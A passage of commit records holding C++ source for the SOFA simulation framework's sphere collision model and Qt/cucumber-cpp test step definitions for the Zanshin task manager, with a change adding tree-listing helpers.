cubeModel->setParentOf(i, minElem, maxElem);
}
cubeModel->computeBoundingTree(maxDepth);
}
}
template <class DataTypes>
void TSphereModel<DataTypes>::computeContinuousBoundingTree(double dt, int maxDepth)
{
CubeModel* cubeModel = createPrevious<CubeModel>();
const int npoints = mstate->getX()->size();
bool updated = false;
if (npoints != size)
{
resize(npoints);
updated = true;
cubeModel->resize(0);
}
if (!isMoving() && !cubeModel->empty() && !updated)
return; // No need to recompute BBox if immobile
Vector3 minElem, maxElem;
cubeModel->resize(size);
if (!empty())
{
for (int i=0; i<size; i++)
{
TSphere<DataTypes> p(this,i);
const Vector3& pt = p.p();
const Vector3 ptv = pt + p.v()*dt;
for (int c = 0; c < 3; c++)
{
minElem[c] = pt[c];
maxElem[c] = pt[c];
if (ptv[c] > maxElem[c]) maxElem[c] = ptv[c];
else if (ptv[c] < minElem[c]) minElem[c] = ptv[c];
}
TSphere<DataTypes>::Real r = p.r();
cubeModel->setParentOf(i, minElem - Vector3(r,r,r), maxElem + Vector3(r,r,r));
}
cubeModel->computeBoundingTree(maxDepth);
}
}
template <class DataTypes>
typename TSphereModel<DataTypes>::Real TSphereModel<DataTypes>::getRadius(const int i) const
{
if(i < (int) this->radius.getValue().size())
return radius.getValue()[i];
else
return defaultRadius.getValue();
}
template <class DataTypes>
void TSphereModel<DataTypes>::setRadius(const int i, const typename TSphereModel<DataTypes>::Real r)
{
if((int) radius.getValue().size() <= i)
{
radius.beginEdit()->reserve(i+1);
while((int)radius.getValue().size() <= i)
radius.beginEdit()->push_back(defaultRadius.getValue());
}
(*radius.beginEdit())[i] = r;
}
template <class DataTypes>
void TSphereModel<DataTypes>::setRadius(const typename TSphereModel<DataTypes>::Real r)
{
*defaultRadius.beginEdit() = r;
radius.beginEdit()->clear();
}
template <class DataTypes>
class TSphereModel<DataTypes>::Loader : public helper::io::SphereLoader
{
public:
TSphereModel<DataTypes>* dest;
Loader(TSphereModel<DataTypes>* dest)
: dest(dest) {}
void addSphere(SReal x, SReal y, SReal z, SReal r)
{
dest->addSphere(Vector3(x,y,z),r);
}
};
template <class DataTypes>
bool TSphereModel<DataTypes>::load(const char* filename)
{
this->resize(0);
std::string sphereFilename(filename);
if (!sofa::helper::system::DataRepository.findFile (sphereFilename))
serr<<"TSphere File \""<< filename <<"\" not found"<< sendl;
Loader loader(this);
return loader.load(filename);
}
template <class DataTypes>
int TSphereModel<DataTypes>::addSphere(const Vector3& pos, Real r)
{
int i = size;
resize(i+1);
if((int) mstate->getX()->size() != i+1)
mstate->resize(i+1);
setSphere(i, pos, r);
return i;
}
template <class DataTypes>
void TSphereModel<DataTypes>::setSphere(int i, const Vector3& pos, Real r)
{
(*mstate->getX())[i] = pos;
setRadius(i,r);
}
} // namespace collision
} // namespace component
} // namespace sofa
<commit_msg>r8390/sofa-dev : FIX: ...<commit_after>/******************************************************************************
* SOFA, Simulation Open-Framework Architecture, version 1.0 beta 4 *
* (c) 2006-2009 MGH, INRIA, USTL, UJF, CNRS *
* *
* This library is free software; you can redistribute it and/or modify it *
* under the terms of the GNU Lesser General Public License as published by *
* the Free Software Foundation; either version 2.1 of the License, or (at *
* your option) any later version. *
* *
* This library is distributed in the hope that it will be useful, but WITHOUT *
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or *
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *
* for more details. *
* *
* You should have received a copy of the GNU Lesser General Public License *
* along with this library; if not, write to the Free Software Foundation, *
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. *
*******************************************************************************
* SOFA :: Modules *
* *
* Authors: The SOFA Team and external contributors (see Authors.txt) *
* *
* Contact information: contact@sofa-framework.org *
******************************************************************************/
#include <sofa/helper/system/config.h>
#include <sofa/helper/proximity.h>
#include <sofa/defaulttype/Mat.h>
#include <sofa/defaulttype/Vec.h>
#include <sofa/core/collision/Intersection.inl>
#include <iostream>
#include <algorithm>
#include <sofa/helper/io/SphereLoader.h>
#include <sofa/helper/system/FileRepository.h>
#include <sofa/component/collision/SphereModel.h>
#include <sofa/component/collision/CubeModel.h>
#include <sofa/core/ObjectFactory.h>
#include <sofa/helper/system/gl.h>
#include <sofa/helper/system/glut.h>
#include <sofa/core/topology/BaseMeshTopology.h>
#include <sofa/simulation/common/Simulation.h>
namespace sofa
{
namespace component
{
namespace collision
{
using namespace sofa::defaulttype;
using namespace sofa::core::collision;
using namespace helper;
template<class DataTypes>
TSphereModel<DataTypes>::TSphereModel()
: mstate(NULL)
, radius(initData(&radius, "listRadius","Radius of each sphere"))
, defaultRadius(initData(&defaultRadius,(SReal)(1.0), "radius","Default Radius"))
, filename(initData(&filename, "fileSphere", "File .sph describing the spheres"))
{
addAlias(&filename,"filename");
}
template<class DataTypes>
TSphereModel<DataTypes>::TSphereModel(core::behavior::MechanicalState<DataTypes>* _mstate )
: mstate(_mstate)
, radius(initData(&radius, "listRadius","Radius of each sphere"))
, defaultRadius(initData(&defaultRadius,(SReal)(1.0), "radius","Default Radius"))
, filename(initData(&filename, "fileSphere", "File .sph describing the spheres"))
{
addAlias(&filename,"filename");
}
template<class DataTypes>
void TSphereModel<DataTypes>::resize(int size)
{
this->core::CollisionModel::resize(size);
if((int) radius.getValue().size() < size)
{
radius.beginEdit()->reserve(size);
while((int)radius.getValue().size() < size)
radius.beginEdit()->push_back(defaultRadius.getValue());
}
else
{
radius.beginEdit()->resize(size);
}
}
template<class DataTypes>
void TSphereModel<DataTypes>::init()
{
this->CollisionModel::init();
mstate = dynamic_cast< core::behavior::MechanicalState<DataTypes>* > (getContext()->getMechanicalState());
if (mstate==NULL)
{
serr<<"TSphereModel requires a Vec3 Mechanical Model" << sendl;
return;
}
if (radius.getValue().empty() && !filename.getValue().empty())
{
load(filename.getFullPath().c_str());
}
else
{
const int npoints = mstate->getX()->size();
resize(npoints);
}
}
template<class DataTypes>
void TSphereModel<DataTypes>::draw(int index)
{
TSphere<DataTypes> t(this,index);
Vector3 p = t.p();
glPushMatrix();
glTranslated(p[0], p[1], p[2]);
glutSolidSphere(t.r(), 32, 16);
glPopMatrix();
}
template<class DataTypes>
void TSphereModel<DataTypes>::draw()
{
if (getContext()->getShowCollisionModels())
{
glEnable(GL_LIGHTING);
glEnable(GL_COLOR_MATERIAL);
glColor4fv(getColor4f());
// Check topological modifications
const int npoints = mstate->getX()->size();
std::vector<Vector3> points;
std::vector<float> radius;
for (int i=0; i<npoints; i++)
{
TSphere<DataTypes> t(this,i);
Vector3 p = t.p();
points.push_back(p);
radius.push_back(t.r());
}
sofa::simulation::getSimulation()->DrawUtility.setLightingEnabled(true); //Enable lightning
simulation::getSimulation()->DrawUtility.drawSpheres(points, radius, Vec<4,float>(getColor4f()));
sofa::simulation::getSimulation()->DrawUtility.setLightingEnabled(false); //Disable lightning
}
glDisable(GL_LIGHTING);
glDisable(GL_COLOR_MATERIAL);
if (getPrevious()!=NULL && getContext()->getShowBoundingCollisionModels())
getPrevious()->draw();
}
template <class DataTypes>
void TSphereModel<DataTypes>::drawColourPicking(const ColourCode method)
{
using namespace sofa::core::objectmodel;
if( method == ENCODE_RELATIVEPOSITION ) return; // we pick the center of the sphere.
helper::vector<core::CollisionModel*> listCollisionModel;
core::objectmodel::BaseContext* context;
context = this->getContext();
context->get< sofa::core::CollisionModel >( &listCollisionModel, BaseContext::SearchRoot);
const int totalCollisionModel = listCollisionModel.size();
helper::vector<core::CollisionModel*>::iterator iter = std::find(listCollisionModel.begin(), listCollisionModel.end(), this);
const int indexCollisionModel = std::distance(listCollisionModel.begin(),iter ) + 1 ;
float red = (float)indexCollisionModel / (float)totalCollisionModel;
// Check topological modifications
const int npoints = mstate->getX()->size();
std::vector<Vector3> points;
std::vector<float> radius;
for (int i=0; i<npoints; i++)
{
TSphere<DataTypes> t(this,i);
Coord p = t.p();
points.push_back(p);
radius.push_back(t.r());
}
glDisable(GL_LIGHTING);
glDisable(GL_COLOR_MATERIAL);
glDisable(GL_DITHER);
glDisable(GL_BLEND);
glEnable(GL_DEPTH_TEST);
float ratio;
for( int i=0; i<npoints; i++)
{
Vector3 p = points[i];
glPushMatrix();
glTranslated(p[0], p[1], p[2]);
ratio = (float)i / (float)npoints;
glColor4f(red,ratio,0,1);
glutSolidSphere(radius[i], 32, 16);
glPopMatrix();
}
}
template <class DataTypes>
sofa::defaulttype::Vector3 TSphereModel<DataTypes>::getPositionFromWeights(int index, Real /*a*/ ,Real /*b*/, Real /*c*/)
{
Element sphere(this,index);
return sphere.center();
}
template <class DataTypes>
void TSphereModel<DataTypes>::computeBoundingTree(int maxDepth)
{
CubeModel* cubeModel = createPrevious<CubeModel>();
const int npoints = mstate->getX()->size();
bool updated = false;
if (npoints != size)
{
resize(npoints);
updated = true;
cubeModel->resize(0);
}
if (!isMoving() && !cubeModel->empty() && !updated)
return; // No need to recompute BBox if immobile
cubeModel->resize(size);
if (!empty())
{
for (int i=0; i<size; i++)
{
TSphere<DataTypes> p(this,i);
const typename TSphere<DataTypes>::Real r = p.r();
const Coord minElem = p.center() - Coord(r,r,r);
const Coord maxElem = p.center() + Coord(r,r,r);
cubeModel->setParentOf(i, minElem, maxElem);
}
cubeModel->computeBoundingTree(maxDepth);
}
}
template <class DataTypes>
void TSphereModel<DataTypes>::computeContinuousBoundingTree(double dt, int maxDepth)
{
CubeModel* cubeModel = createPrevious<CubeModel>();
const int npoints = mstate->getX()->size();
bool updated = false;
if (npoints != size)
{
resize(npoints);
updated = true;
cubeModel->resize(0);
}
if (!isMoving() && !cubeModel->empty() && !updated)
return; // No need to recompute BBox if immobile
Vector3 minElem, maxElem;
cubeModel->resize(size);
if (!empty())
{
for (int i=0; i<size; i++)
{
TSphere<DataTypes> p(this,i);
const Vector3& pt = p.p();
const Vector3 ptv = pt + p.v()*dt;
for (int c = 0; c < 3; c++)
{
minElem[c] = pt[c];
maxElem[c] = pt[c];
if (ptv[c] > maxElem[c]) maxElem[c] = ptv[c];
else if (ptv[c] < minElem[c]) minElem[c] = ptv[c];
}
typename TSphere<DataTypes>::Real r = p.r();
cubeModel->setParentOf(i, minElem - Vector3(r,r,r), maxElem + Vector3(r,r,r));
}
cubeModel->computeBoundingTree(maxDepth);
}
}
template <class DataTypes>
typename TSphereModel<DataTypes>::Real TSphereModel<DataTypes>::getRadius(const int i) const
{
if(i < (int) this->radius.getValue().size())
return radius.getValue()[i];
else
return defaultRadius.getValue();
}
template <class DataTypes>
void TSphereModel<DataTypes>::setRadius(const int i, const typename TSphereModel<DataTypes>::Real r)
{
if((int) radius.getValue().size() <= i)
{
radius.beginEdit()->reserve(i+1);
while((int)radius.getValue().size() <= i)
radius.beginEdit()->push_back(defaultRadius.getValue());
}
(*radius.beginEdit())[i] = r;
}
template <class DataTypes>
void TSphereModel<DataTypes>::setRadius(const typename TSphereModel<DataTypes>::Real r)
{
*defaultRadius.beginEdit() = r;
radius.beginEdit()->clear();
}
template <class DataTypes>
class TSphereModel<DataTypes>::Loader : public helper::io::SphereLoader
{
public:
TSphereModel<DataTypes>* dest;
Loader(TSphereModel<DataTypes>* dest)
: dest(dest) {}
void addSphere(SReal x, SReal y, SReal z, SReal r)
{
dest->addSphere(Vector3(x,y,z),r);
}
};
template <class DataTypes>
bool TSphereModel<DataTypes>::load(const char* filename)
{
this->resize(0);
std::string sphereFilename(filename);
if (!sofa::helper::system::DataRepository.findFile (sphereFilename))
serr<<"TSphere File \""<< filename <<"\" not found"<< sendl;
Loader loader(this);
return loader.load(filename);
}
template <class DataTypes>
int TSphereModel<DataTypes>::addSphere(const Vector3& pos, Real r)
{
int i = size;
resize(i+1);
if((int) mstate->getX()->size() != i+1)
mstate->resize(i+1);
setSphere(i, pos, r);
return i;
}
template <class DataTypes>
void TSphereModel<DataTypes>::setSphere(int i, const Vector3& pos, Real r)
{
(*mstate->getX())[i] = pos;
setRadius(i,r);
}
} // namespace collision
} // namespace component
} // namespace sofa
<|endoftext|>
|
<commit_before>#include <boost/test/unit_test.hpp>
#include <cucumber-cpp/defs.hpp>
#include <QApplication>
#include <QDebug>
#include <QSortFilterProxyModel>
#include <QStandardItemModel>
#include <QTest>
#include <KConfig>
#include <KConfigGroup>
#include <KGlobal>
#include "akonadi/akonadiartifactqueries.h"
#include "akonadi/akonadidatasourcequeries.h"
#include "akonadi/akonadinoterepository.h"
#include "akonadi/akonadiprojectqueries.h"
#include "akonadi/akonaditaskqueries.h"
#include "akonadi/akonaditaskrepository.h"
#include "presentation/applicationmodel.h"
#include "presentation/inboxpagemodel.h"
#include "presentation/querytreemodelbase.h"
#include "presentation/datasourcelistmodel.h"
static int argc = 0;
static QApplication app(argc, 0);
namespace cucumber {
namespace internal {
template<>
inline QString fromString(const std::string& s) {
return QString::fromUtf8(s.data());
}
}
}
using namespace cucumber;
class ZanshinContext : public QObject
{
Q_OBJECT
public:
explicit ZanshinContext(QObject *parent = 0)
: QObject(parent),
app(0),
presentation(0),
editor(0),
proxyModel(new QSortFilterProxyModel(this))
{
using namespace Presentation;
proxyModel->setDynamicSortFilter(true);
auto appModel = new ApplicationModel(new Akonadi::ArtifactQueries(this),
new Akonadi::ProjectQueries(this),
new Akonadi::DataSourceQueries(this),
new Akonadi::TaskQueries(this),
new Akonadi::TaskRepository(this),
new Akonadi::NoteRepository(this),
this);
// Since it is lazy loaded force ourselves in a known state
appModel->defaultNoteDataSource();
appModel->defaultTaskDataSource();
app = appModel;
}
~ZanshinContext()
{
}
void setModel(QAbstractItemModel *model)
{
proxyModel->setSourceModel(model);
proxyModel->setSortRole(Qt::DisplayRole);
proxyModel->sort(0);
}
QAbstractItemModel *model()
{
return proxyModel;
}
QObject *app;
QList<QPersistentModelIndex> indices;
QPersistentModelIndex index;
QObject *presentation;
QObject *editor;
private:
QSortFilterProxyModel *proxyModel;
};
namespace Zanshin {
void dumpIndices(const QList<QPersistentModelIndex> &indices)
{
qDebug() << "Dumping list of size:" << indices.size();
for (int row = 0; row < indices.size(); row++) {
qDebug() << row << indices.at(row).data().toString();
}
}
inline bool verify(bool statement, const char *str,
const char *file, int line)
{
if (statement)
return true;
qDebug() << "Statement" << str << "returned FALSE";
qDebug() << "Loc:" << file << line;
return false;
}
template <typename T>
inline bool compare(T const &t1, T const &t2,
const char *actual, const char *expected,
const char *file, int line)
{
if (t1 == t2)
return true;
qDebug() << "Compared values are not the same";
qDebug() << "Actual (" << actual << ") :" << QTest::toString<T>(t1);
qDebug() << "Expected (" << expected << ") :" << QTest::toString<T>(t2);
qDebug() << "Loc:" << file << line;
return false;
}
} // namespace Zanshin
#define COMPARE(actual, expected) \
do {\
if (!Zanshin::compare(actual, expected, #actual, #expected, __FILE__, __LINE__))\
BOOST_REQUIRE(false);\
} while (0)
#define COMPARE_OR_DUMP(actual, expected) \
do {\
if (!Zanshin::compare(actual, expected, #actual, #expected, __FILE__, __LINE__)) {\
Zanshin::dumpIndices(context->indices); \
BOOST_REQUIRE(false);\
}\
} while (0)
#define VERIFY(statement) \
do {\
if (!Zanshin::verify((statement), #statement, __FILE__, __LINE__))\
BOOST_REQUIRE(false);\
} while (0)
#define VERIFY_OR_DUMP(statement) \
do {\
if (!Zanshin::verify((statement), #statement, __FILE__, __LINE__)) {\
Zanshin::dumpIndices(context->indices); \
BOOST_REQUIRE(false);\
}\
} while (0)
GIVEN("^I display the available (\\S+) data sources$") {
REGEX_PARAM(QString, sourceType);
ScenarioScope<ZanshinContext> context;
auto propertyName = sourceType == "task" ? "taskSourcesModel"
: sourceType == "note" ? "noteSourcesModel"
: 0;
context->setModel(context->app->property(propertyName).value<QAbstractItemModel*>());
QTest::qWait(500);
}
GIVEN("^I display the inbox page$") {
ScenarioScope<ZanshinContext> context;
context->presentation = context->app->property("currentPage").value<QObject*>();
QTest::qWait(500);
}
GIVEN("^there is an item named \"(.+)\" in the central list$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
QTest::qWait(500);
auto model = context->presentation->property("centralListModel").value<QAbstractItemModel*>();
QTest::qWait(500);
context->setModel(model);
for (int row = 0; row < context->model()->rowCount(); row++) {
QModelIndex index = context->model()->index(row, 0);
if (index.data().toString() == itemName) {
context->index = index;
return;
}
}
qDebug() << "Couldn't find an item named" << itemName;
VERIFY_OR_DUMP(false);
}
WHEN("^I look at the central list$") {
ScenarioScope<ZanshinContext> context;
auto model = context->presentation->property("centralListModel").value<QAbstractItemModel*>();
QTest::qWait(500);
context->setModel(model);
}
WHEN("^I check the item$") {
ScenarioScope<ZanshinContext> context;
context->model()->setData(context->index, Qt::Checked, Qt::CheckStateRole);
QTest::qWait(500);
}
WHEN("^I remove the item$") {
ScenarioScope<ZanshinContext> context;
VERIFY(QMetaObject::invokeMethod(context->presentation, "removeItem", Q_ARG(QModelIndex, context->index)));
QTest::qWait(500);
}
WHEN("^I add a task named \"(.+)\"$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
VERIFY(QMetaObject::invokeMethod(context->presentation, "addTask", Q_ARG(QString, itemName)));
QTest::qWait(500);
}
WHEN("^I list the items$") {
ScenarioScope<ZanshinContext> context;
context->indices.clear();
for (int row = 0; row < context->model()->rowCount(); row++) {
context->indices << context->model()->index(row, 0);
}
}
WHEN("^I open the item in the editor$") {
ScenarioScope<ZanshinContext> context;
auto artifact = context->index.data(Presentation::QueryTreeModelBase::ObjectRole)
.value<Domain::Artifact::Ptr>();
VERIFY(artifact);
context->editor = context->app->property("editor").value<QObject*>();
VERIFY(context->editor);
VERIFY(context->editor->setProperty("artifact", QVariant::fromValue(artifact)));
}
WHEN("^I mark it done in the editor$") {
ScenarioScope<ZanshinContext> context;
VERIFY(context->editor->setProperty("done", true));
}
WHEN("^I change the editor (.*) to \"(.*)\"$") {
REGEX_PARAM(QString, field);
REGEX_PARAM(QString, string);
const QVariant value = (field == "text") ? string
: (field == "title") ? string
: (field == "start date") ? QDateTime::fromString(string, Qt::ISODate)
: (field == "due date") ? QDateTime::fromString(string, Qt::ISODate)
: QVariant();
const QByteArray property = (field == "text") ? field.toUtf8()
: (field == "title") ? field.toUtf8()
: (field == "start date") ? "startDate"
: (field == "due date") ? "dueDate"
: QByteArray();
VERIFY(value.isValid());
VERIFY(!property.isEmpty());
ScenarioScope<ZanshinContext> context;
VERIFY(context->editor->setProperty(property, value));
}
WHEN("^I open the item in the editor again$") {
ScenarioScope<ZanshinContext> context;
auto artifact = context->index.data(Presentation::QueryTreeModelBase::ObjectRole)
.value<Domain::Artifact::Ptr>();
VERIFY(artifact);
VERIFY(context->editor->setProperty("artifact", QVariant::fromValue(Domain::Artifact::Ptr())));
VERIFY(context->editor->setProperty("artifact", QVariant::fromValue(artifact)));
QTest::qWait(500);
}
WHEN("^the setting key (\\S+) changes to (\\d+)$") {
REGEX_PARAM(QString, keyName);
REGEX_PARAM(qint64, id);
KConfigGroup config(KGlobal::config(), "General");
config.writeEntry(keyName, id);
}
WHEN("^the user changes the default (\\S+) data source to (.*)$") {
REGEX_PARAM(QString, sourceType);
REGEX_PARAM(QString, sourceName);
ScenarioScope<ZanshinContext> context;
auto sourcesModel = sourceType == "task" ? context->app->property("taskSourcesModel").value<QAbstractItemModel*>()
: sourceType == "note" ? context->app->property("noteSourcesModel").value<QAbstractItemModel*>()
: 0;
QTest::qWait(500);
// I wish models had iterators...
QList<Domain::DataSource::Ptr> sources;
for (int i = 0; i < sourcesModel->rowCount(); i++)
sources << sourcesModel->index(i, 0).data(Presentation::QueryTreeModelBase::ObjectRole)
.value<Domain::DataSource::Ptr>();
auto source = *std::find_if(sources.begin(), sources.end(),
[=] (const Domain::DataSource::Ptr &source) {
return source->name() == sourceName;
});
auto propertyName = sourceType == "task" ? "defaultTaskDataSource"
: sourceType == "note" ? "defaultNoteDataSource"
: 0;
context->app->setProperty(propertyName, QVariant::fromValue(source));
}
THEN("^the list is") {
TABLE_PARAM(tableParam);
ScenarioScope<ZanshinContext> context;
auto roleNames = context->model()->roleNames();
QSet<int> usedRoles;
QStandardItemModel referenceModel;
for (const auto row : tableParam.hashes()) {
QStandardItem *item = new QStandardItem;
for (const auto it : row) {
const QByteArray roleName = it.first.data();
const QString value = QString::fromUtf8(it.second.data());
const int role = roleNames.key(roleName, -1);
VERIFY_OR_DUMP(role != -1);
item->setData(value, role);
usedRoles.insert(role);
}
referenceModel.appendRow(item);
}
QSortFilterProxyModel proxy;
proxy.setSourceModel(&referenceModel);
proxy.setSortRole(Qt::DisplayRole);
proxy.sort(0);
for (int row = 0; row < context->indices.size(); row++) {
QModelIndex expectedIndex = proxy.index(row, 0);
QModelIndex resultIndex = context->indices.at(row);
for (auto role : usedRoles) {
COMPARE_OR_DUMP(expectedIndex.data(role).toString(), resultIndex.data(role).toString());
}
}
COMPARE_OR_DUMP(proxy.rowCount(), context->indices.size());
}
THEN("^the list contains \"(.+)\"$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
for (int row = 0; row < context->indices.size(); row++) {
if (context->indices.at(row).data().toString() == itemName)
return;
}
VERIFY_OR_DUMP(false);
}
THEN("^the list does not contain \"(.+)\"$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
for (int row = 0; row < context->indices.size(); row++) {
VERIFY_OR_DUMP(context->indices.at(row).data().toString() != itemName);
}
}
THEN("^the task corresponding to the item is done$") {
ScenarioScope<ZanshinContext> context;
auto artifact = context->index.data(Presentation::QueryTreeModelBase::ObjectRole).value<Domain::Artifact::Ptr>();
VERIFY(artifact);
auto task = artifact.dynamicCast<Domain::Task>();
VERIFY(task);
VERIFY(task->isDone());
}
THEN("^the editor shows the task as done$") {
ScenarioScope<ZanshinContext> context;
VERIFY(context->editor->property("done").toBool());
}
THEN("^the editor shows \"(.*)\" as (.*)$") {
REGEX_PARAM(QString, string);
REGEX_PARAM(QString, field);
const QVariant value = (field == "text") ? string
: (field == "title") ? string
: (field == "start date") ? QDateTime::fromString(string, Qt::ISODate)
: (field == "due date") ? QDateTime::fromString(string, Qt::ISODate)
: QVariant();
const QByteArray property = (field == "text") ? field.toUtf8()
: (field == "title") ? field.toUtf8()
: (field == "start date") ? "startDate"
: (field == "due date") ? "dueDate"
: QByteArray();
VERIFY(value.isValid());
VERIFY(!property.isEmpty());
ScenarioScope<ZanshinContext> context;
COMPARE(context->editor->property(property), value);
}
THEN("^the default (\\S+) data source is (.*)$") {
REGEX_PARAM(QString, sourceType);
REGEX_PARAM(QString, expectedName);
auto propertyName = sourceType == "task" ? "defaultTaskDataSource"
: sourceType == "note" ? "defaultNoteDataSource"
: 0;
ScenarioScope<ZanshinContext> context;
auto source = context->app->property(propertyName).value<Domain::DataSource::Ptr>();
VERIFY(!source.isNull());
COMPARE(source->name(), expectedName);
}
THEN("^the setting key (\\S+) is (\\d+)$") {
REGEX_PARAM(QString, keyName);
REGEX_PARAM(qint64, expectedId);
KConfigGroup config(KGlobal::config(), "General");
const qint64 id = config.readEntry(keyName, -1);
COMPARE(id, expectedId);
}
#include "main.moc"
<commit_msg>Prepare for listing trees<commit_after>#include <boost/test/unit_test.hpp>
#include <cucumber-cpp/defs.hpp>
#include <QApplication>
#include <QDebug>
#include <QSortFilterProxyModel>
#include <QStandardItemModel>
#include <QTest>
#include <KConfig>
#include <KConfigGroup>
#include <KGlobal>
#include "akonadi/akonadiartifactqueries.h"
#include "akonadi/akonadidatasourcequeries.h"
#include "akonadi/akonadinoterepository.h"
#include "akonadi/akonadiprojectqueries.h"
#include "akonadi/akonaditaskqueries.h"
#include "akonadi/akonaditaskrepository.h"
#include "presentation/applicationmodel.h"
#include "presentation/inboxpagemodel.h"
#include "presentation/querytreemodelbase.h"
#include "presentation/datasourcelistmodel.h"
static int argc = 0;
static QApplication app(argc, 0);
namespace cucumber {
namespace internal {
template<>
inline QString fromString(const std::string& s) {
return QString::fromUtf8(s.data());
}
}
}
using namespace cucumber;
class ZanshinContext : public QObject
{
Q_OBJECT
public:
explicit ZanshinContext(QObject *parent = 0)
: QObject(parent),
app(0),
presentation(0),
editor(0),
proxyModel(new QSortFilterProxyModel(this))
{
using namespace Presentation;
proxyModel->setDynamicSortFilter(true);
auto appModel = new ApplicationModel(new Akonadi::ArtifactQueries(this),
new Akonadi::ProjectQueries(this),
new Akonadi::DataSourceQueries(this),
new Akonadi::TaskQueries(this),
new Akonadi::TaskRepository(this),
new Akonadi::NoteRepository(this),
this);
// Since it is lazy loaded force ourselves in a known state
appModel->defaultNoteDataSource();
appModel->defaultTaskDataSource();
app = appModel;
}
~ZanshinContext()
{
}
void setModel(QAbstractItemModel *model)
{
proxyModel->setSourceModel(model);
proxyModel->setSortRole(Qt::DisplayRole);
proxyModel->sort(0);
}
QAbstractItemModel *model()
{
return proxyModel;
}
QObject *app;
QList<QPersistentModelIndex> indices;
QPersistentModelIndex index;
QObject *presentation;
QObject *editor;
private:
QSortFilterProxyModel *proxyModel;
};
namespace Zanshin {
QString indexString(const QModelIndex &index, int role = Qt::DisplayRole)
{
if (role != Qt::DisplayRole)
return index.data(role).toString();
QString data = index.data(role).toString();
if (index.parent().isValid())
return indexString(index.parent(), role) + " / " + data;
else
return data;
}
void collectIndices(ZanshinContext *context, const QModelIndex &root = QModelIndex())
{
QAbstractItemModel *model = context->model();
for (int row = 0; row < model->rowCount(root); row++) {
const QModelIndex index = model->index(row, 0, root);
context->indices << index;
if (model->rowCount(index) > 0)
collectIndices(context, index);
}
}
void dumpIndices(const QList<QPersistentModelIndex> &indices)
{
qDebug() << "Dumping list of size:" << indices.size();
for (int row = 0; row < indices.size(); row++) {
qDebug() << row << indexString(indices.at(row));
}
}
inline bool verify(bool statement, const char *str,
const char *file, int line)
{
if (statement)
return true;
qDebug() << "Statement" << str << "returned FALSE";
qDebug() << "Loc:" << file << line;
return false;
}
template <typename T>
inline bool compare(T const &t1, T const &t2,
const char *actual, const char *expected,
const char *file, int line)
{
if (t1 == t2)
return true;
qDebug() << "Compared values are not the same";
qDebug() << "Actual (" << actual << ") :" << QTest::toString<T>(t1);
qDebug() << "Expected (" << expected << ") :" << QTest::toString<T>(t2);
qDebug() << "Loc:" << file << line;
return false;
}
} // namespace Zanshin
#define COMPARE(actual, expected) \
do {\
if (!Zanshin::compare(actual, expected, #actual, #expected, __FILE__, __LINE__))\
BOOST_REQUIRE(false);\
} while (0)
#define COMPARE_OR_DUMP(actual, expected) \
do {\
if (!Zanshin::compare(actual, expected, #actual, #expected, __FILE__, __LINE__)) {\
Zanshin::dumpIndices(context->indices); \
BOOST_REQUIRE(false);\
}\
} while (0)
#define VERIFY(statement) \
do {\
if (!Zanshin::verify((statement), #statement, __FILE__, __LINE__))\
BOOST_REQUIRE(false);\
} while (0)
#define VERIFY_OR_DUMP(statement) \
do {\
if (!Zanshin::verify((statement), #statement, __FILE__, __LINE__)) {\
Zanshin::dumpIndices(context->indices); \
BOOST_REQUIRE(false);\
}\
} while (0)
GIVEN("^I display the available (\\S+) data sources$") {
REGEX_PARAM(QString, sourceType);
ScenarioScope<ZanshinContext> context;
auto propertyName = sourceType == "task" ? "taskSourcesModel"
: sourceType == "note" ? "noteSourcesModel"
: 0;
context->setModel(context->app->property(propertyName).value<QAbstractItemModel*>());
QTest::qWait(500);
}
GIVEN("^I display the inbox page$") {
ScenarioScope<ZanshinContext> context;
context->presentation = context->app->property("currentPage").value<QObject*>();
QTest::qWait(500);
}
GIVEN("^there is an item named \"(.+)\" in the central list$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
QTest::qWait(500);
auto model = context->presentation->property("centralListModel").value<QAbstractItemModel*>();
QTest::qWait(500);
context->setModel(model);
for (int row = 0; row < context->model()->rowCount(); row++) {
QModelIndex index = context->model()->index(row, 0);
if (Zanshin::indexString(index) == itemName) {
context->index = index;
return;
}
}
qDebug() << "Couldn't find an item named" << itemName;
VERIFY_OR_DUMP(false);
}
WHEN("^I look at the central list$") {
ScenarioScope<ZanshinContext> context;
auto model = context->presentation->property("centralListModel").value<QAbstractItemModel*>();
QTest::qWait(500);
context->setModel(model);
}
WHEN("^I check the item$") {
ScenarioScope<ZanshinContext> context;
context->model()->setData(context->index, Qt::Checked, Qt::CheckStateRole);
QTest::qWait(500);
}
WHEN("^I remove the item$") {
ScenarioScope<ZanshinContext> context;
VERIFY(QMetaObject::invokeMethod(context->presentation, "removeItem", Q_ARG(QModelIndex, context->index)));
QTest::qWait(500);
}
WHEN("^I add a task named \"(.+)\"$") {
REGEX_PARAM(QString, itemName);
ScenarioScope<ZanshinContext> context;
VERIFY(QMetaObject::invokeMethod(context->presentation, "addTask", Q_ARG(QString, itemName)));
QTest::qWait(500);
}
WHEN("^I list the items$") {
ScenarioScope<ZanshinContext> context;
context->indices.clear();
Zanshin::collectIndices(context.get());
}
WHEN("^I open the item in the editor$") {
ScenarioScope<ZanshinContext> context;
auto artifact = context->index.data(Presentation::QueryTreeModelBase::ObjectRole)
.value<Domain::Artifact::Ptr>();
VERIFY(artifact);
context->editor = context->app->property("editor").value<QObject*>();
VERIFY(context->editor);
VERIFY(context->editor->setProperty("artifact", QVariant::fromValue(artifact)));
}
WHEN("^I mark it done in the editor$") {
ScenarioScope<ZanshinContext> context;
VERIFY(context->editor->setProperty("done", true));
}
WHEN("^I change the editor (.*) to \"(.*)\"$") {
REGEX_PARAM(QString, field);
REGEX_PARAM(QString, string);
const QVariant value = (field == "text") ? string
: (field == "title") ? string
: (field == "start date") ? QDateTime::fromString(string, Qt::ISODate)
: (field == "due date") ? QDateTime::fromString(string, Qt::ISODate)
: QVariant();
const QByteArray property = (field == "text") ? field.toUtf8()
: (field == "title") ? field.toUtf8()
: (field == "start date") ? "startDate"
: (field == "due date") ? "dueDate"
: QByteArray();
VERIFY(value.isValid());
